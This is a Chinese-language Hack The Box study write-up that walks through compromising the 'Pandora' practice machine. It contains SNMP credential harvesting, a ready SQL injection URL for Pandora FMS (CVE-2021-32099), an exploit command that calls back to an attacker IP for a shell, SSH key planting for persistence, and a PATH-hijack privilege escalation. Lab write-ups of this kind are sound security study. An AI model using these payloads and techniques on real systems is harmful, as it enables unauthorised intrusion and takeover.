HTB 学习笔记
【Hack The Box】linux练习-- Pandora
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- TCP 80
- 域名爆破
- snmp
- daniel->root
- 000-default.conf
- pandora.conf
- matt -> root
信息收集
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap -sU -top-ports=100 panda.htb
得到一个161的snmp端口
161/udp open snmp
TCP 80
啥也没有
域名爆破
wfuzz -u http://panda.htb -H "Host: FUZZ.panda.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 33560
同样什么都没有
换了个大字典还是啥都没有
snmp
简单网络管理协议 (SNMP) 是一种用于在 Internet 上管理和共享设备信息的协议。 最新版本是 2004 年发布的第 3 版,但第 2 版可能是 Internet 上最常用的版本。 v2 中没有太多的身份验证方式,因为大多数实例都使用字符串“public”,因此能够转储有关具有 UDP 161 访问权限的设备的大量数据并不少见。
apt install snmp snmp-mibs-downloader
onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt
字典在下面链接
https://github.com/trailofbits/onesixtyone
snmpwalk -v 2c -c public 10.129.71.14 > 1.txt
我看到有人说下面的方式更快,但我执行的时候总是失败
我不知道为什么
snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.136 > snmp-full-bullk
得到了一些凭据
HotelBabylon23
daniel
我们可以登陆他
daniel->root
Apache 站点配置在 /etc/apache2/sites-enabled. 在这种情况下,有两个:
000-default.conf
<VirtualHost *:80>
这可能是一个80的代理?虚拟主机啥的
pandora.conf
pandora.panda.htb
matt用户运行
/var/www/html和 /var/www/pandora
但是pandora.panda.htb同样是同一个页面
我不理解
看了别人文章,说需要做一个代理去访问,我依旧不理解
80端口应该是独占
如果我访问域名…也许不是80端口?
但是我先尝试一下80端口
也许这是内部网站
就像起那面提到的他需要申明主机
我将用ssh登陆隧道到他的80端口
ssh daniel@10.129.71.14 -L 2222:localhost:80
而后浏览器访问本地2222端口
页面底部存在版本信息
v7.0NG.742_FIX_PERL2020
他有rce,但是需要密码
matt的密码和我们拥有的用户密码不一致
所以我得先寻找密码
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
这个网站还详细的说了4种已知的漏洞
https://github.com/ibnuuby/CVE-2021-32099
在这里我发现了一个应该可以直接使用的poc
他的确使用了sql注入,我们直接输入这一段,修改一下端口就行
http://127.0.0.1:2222/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271
然后刷新页面,就可以进入到管理界面了
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
然后按照这个网站里的视频里面,生成了一个zip的恶意文件,然后访问即可执行命令,但我任然觉得这太麻烦,我准备利用rce
首先我需要抓包获取phpssid
用这个exp
https://github.com/ibnuuby/CVE-2021-32099
python3 exp.py -t 127.0.0.1 2222 -p npfhkcp04tj4qhppra81b9npc0 -s 10.10.14.29 8888
matt -> root
find / -perm -4000 -ls 2>/dev/null
查看一下可提权文件
这一条有点意思,有matt的权限
262929 20 -rwsr-x--- 1 root matt 16816 Dec 3 2021 /usr/bin/pandora_backup
在运行这一切之前,我们应该做一个ssh毒化
为了让shell更稳定,防止一些不必要的错误
将我们自己的密钥写进去
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali" > authorized_keys
ssh -i id_rsaed25519 matt@10.129.71.14
直接执行
/usr/bin/pandora_backup
乱七八糟,看不懂
ltrace pandora_backup
让我们看看他的构造
system调用命令tar没有绝对路径,那就挟持命令
狸猫换太子
这就不说了
export PATH=/tmp:$PATH
添加环境变量
别忘了给命令赋权
chmod +x tar
然后执行
pandora_backup